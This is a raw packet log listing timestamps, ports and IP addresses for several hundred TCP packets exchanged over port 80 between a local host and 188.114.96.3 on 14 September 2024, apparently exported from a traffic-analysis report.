Sep 14, 2024 18:44:32.181411028 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.181444883 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.181456089 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.181478977 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.181488037 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.181514025 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.181546926 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.181579113 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.181588888 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.181616068 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.181621075 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.181652069 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.181684017 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.181716919 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.181726933 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.181756020 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.181756973 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.181793928 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.181827068 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.181859016 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.181873083 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.181893110 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.181900024 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.181926012 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.181956053 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.181988001 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.181998968 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.182023048 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.182029009 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.182063103 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.182096004 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.182147026 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.182157040 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.182180882 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.182187080 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.182216883 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.182249069 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.182277918 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.182290077 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.182312012 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.182320118 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.182346106 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.182378054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.182410955 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.182420015 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.182444096 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.182451963 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.182477951 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.182535887 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.182569981 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.182579041 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.182610989 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.182637930 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.182673931 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.182708025 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.182740927 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.182751894 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.182784081 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.182784081 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.182818890 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.182848930 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.182889938 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.182904005 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.182938099 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.182948112 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.182976961 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.183010101 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.183042049 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.183052063 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.183075905 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.183084011 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.183129072 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.183162928 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.183187008 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.183202982 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.183204889 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.183219910 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.183223963 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.183234930 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.183250904 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.183264971 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.183271885 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.183279037 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.183286905 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.183295965 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.183307886 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.183316946 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.183330059 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.183331013 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.183342934 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.183352947 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.183355093 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.183366060 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.183368921 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.183382034 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.183393955 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.183403969 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.183417082 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.183428049 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.183430910 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.183449984 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.183468103 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.183487892 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.185022116 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.185033083 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.185188055 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.185231924 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.185264111 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.185434103 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.185580969 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.185619116 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.185722113 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.185761929 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.185795069 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.185808897 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.185844898 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.185950994 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.185964108 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.185972929 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.185982943 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.185995102 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.186007023 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.186014891 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.186019897 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.186028957 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.186042070 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.186045885 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.186053991 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.186065912 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.186077118 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.186083078 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.186089993 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.186094999 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.186110973 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.186129093 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.186134100 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.186142921 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.186155081 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.186166048 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.186177969 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.186178923 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.186189890 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.186203003 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.186208963 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.186217070 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.186224937 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.186238050 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.186239004 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.186252117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.186263084 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.186274052 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.186285973 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.186296940 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.186307907 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.186319113 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.186319113 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.186320066 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.186319113 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.186332941 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.186342001 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.186345100 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.186355114 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.186366081 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.186377048 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.186384916 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.186388969 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.186402082 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.186412096 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.186423063 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.186424971 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.186454058 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.186539888 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.267916918 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.267936945 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.267957926 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.267971039 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.267982006 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.267993927 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.268012047 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.268023968 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.268026114 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.268038988 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.268049955 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.268059969 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.268064976 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.268073082 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.268085957 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.268089056 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.268110991 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.268194914 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.268208981 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.268220901 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.268230915 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.268243074 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.268254042 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.268258095 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.268258095 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.268270969 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.268279076 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.268291950 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.268305063 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.268306017 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.268327951 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.268338919 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.268352032 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.268357038 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.268366098 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.268376112 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.268405914 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.268413067 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.268424988 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.268439054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.268450022 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.268462896 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.268474102 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.268481016 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.268507004 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.268522024 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.268534899 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.268577099 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.269062996 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.269076109 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.269088030 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.269115925 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.269141912 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.269155979 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.269166946 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.269179106 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.269200087 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.269231081 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.269288063 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.269299984 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.269311905 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.269321918 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.269335032 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.269342899 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.269355059 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.269367933 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.269370079 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.269380093 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.269396067 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.269411087 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.269454002 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.269465923 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.269479990 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.269490957 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.269503117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.269509077 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.269517899 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.269531012 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.269532919 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.269546986 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.269582033 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.269584894 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.269596100 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.269634008 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.269678116 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.269695997 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.269707918 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.269721031 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.269731998 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.269736052 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.269794941 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.269795895 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.269808054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.269820929 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.269831896 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.269835949 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.269845009 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.269859076 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.269886971 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.270071983 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.270275116 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.270287037 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.270299911 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.270324945 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.270337105 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.270392895 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.270946980 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.271058083 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.271111965 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.271258116 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.271300077 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.271404982 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.271418095 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.271469116 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.272372961 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.272519112 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.272650957 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.272665024 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.272825956 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.272869110 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.272979021 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.272991896 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.273034096 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.273128986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.273279905 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.273334026 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.273704052 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.273716927 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.273727894 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.273740053 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.273751974 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.273753881 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.273787975 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.273884058 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.273902893 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.273915052 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.273926973 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.273926973 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.273940086 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.273952961 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.273960114 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.273964882 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.273987055 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.274002075 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.274012089 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.274018049 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.274025917 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.274039984 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.274050951 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.274051905 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.274065971 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.274077892 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.274077892 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.274091005 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.274101973 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.274102926 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.274116993 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.274130106 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.274139881 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.274142981 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.274152994 CEST	80	54891	188.114.96.3	192.168.2.7
